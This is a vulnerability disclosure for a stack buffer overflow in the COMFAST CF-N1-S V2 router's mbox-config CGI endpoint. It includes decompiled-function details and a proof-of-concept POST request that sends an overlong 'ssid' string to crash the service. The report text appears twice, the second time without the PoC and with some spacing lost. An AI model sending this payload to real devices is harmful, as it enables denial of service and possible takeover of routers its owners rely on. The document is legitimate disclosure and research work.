Vulnerability Report: The Comfast CF-N1-S router is vulnerable to a stack-based buffer overflow
Basic Information
- Vendor: COMFAST
- Product: COMFAST CF-N1-S V2
- Firmware Version: V2.6.0.1
- Vulnerability Type: Stack-based buffer overflow
Overview
A stack-based buffer overflow vulnerability has been discovered in the COMFAST CF-N1-S V2 router. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request using a valid session, thereby executing a buffer overflow attack on the target device. This vulnerability can be triggered via the following endpoint:
POST /cgi-bin/mbox-config?method=SET§ion=ptest_ssid HTTP/1.1
Firmware Emulation and Simulation
We use QEMU locally to emulate the environment.
As you can see, the emulation and execution were successful.
Vulnerability Details
This vulnerability exists in a function within the sub_44B438 component. This function calls off_47D1D4 to read the ssid value from user input, then uses off_47D1FC (a sprintf-style formatter) to format it as “ptest set ssid %s” and write it to the stack variable v5.
The variable v5 is defined as a 64-byte character array, but off_47D1FC does not properly validate the length of ssid or perform boundary checks when writing to it.
Consequently, a stack overflow occurs when the length of ssid exceeds the buffer capacity.
Proof of Concept (PoC)
POST /cgi-bin/mbox-config?method=SET§ion=ptest_ssid HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 220
sec-ch-ua: “Not_A Brand”;v=“8”, ‘Chromium’;v=“120”
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
sec-ch-ua-platform: “Linux”
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: COMFAST_SESSIONID=7f000001-000000000000-6b8b4567
Connection: close
{
“ssid”:" `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA`"
}
From the information above, we can see that after sending the request, the program crashes due to a stack overflow.
Impact of the Vulnerability
An authenticated attacker can construct excessively long input data for the ssid parameter. Since there is no length validation, this data is written to a fixed-size stack buffer, triggering a stack overflow and overwriting the return address. This allows the attacker to hijack the program’s execution flow and execute arbitrary code with the privileges of the web service, which could ultimately lead to the complete compromise of the device.
Vulnerability Report: The Comfast CF-N1-S router is vulnerable to a stack-based buffer overflow
Basic Information
Overview
A stack-based buffer overflow vulnerability has been discovered in the COMFAST CF-N1-S V2 router. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request using a valid session, thereby executing a buffer overflow attack on the target device. This vulnerability can be triggered via the following endpoint:
POST /cgi-bin/mbox-config?method=SET§ion=ptest_ssid HTTP/1.1Firmware Emulation and Simulation
We use QEMU locally to emulate the environment.
As you can see, the emulation and execution were successful.
Vulnerability Details
This vulnerability exists in a function within the
sub_44B438component. This function callsoff_47D1D4to read thessidvalue from user input, then usesoff_47D1FC(a sprintf-style formatter) to format it as“ptest set ssid %s”and write it to the stack variablev5.The variable
v5is defined as a 64-byte character array, butoff_47D1FCdoes not properly validate the length ofssidor perform boundary checks when writing to it.Consequently, a stack overflow occurs when the length of
ssidexceeds the buffer capacity.Proof of Concept (PoC)
From the information above, we can see that after sending the request, the program crashes due to a stack overflow.
Impact of the Vulnerability
An authenticated attacker can construct excessively long input data for the
ssidparameter. Since there is no length validation, this data is written to a fixed-size stack buffer, triggering a stack overflow and overwriting the return address. This allows the attacker to hijack the program’s execution flow and execute arbitrary code with the privileges of the web service, which could ultimately lead to the complete compromise of the device.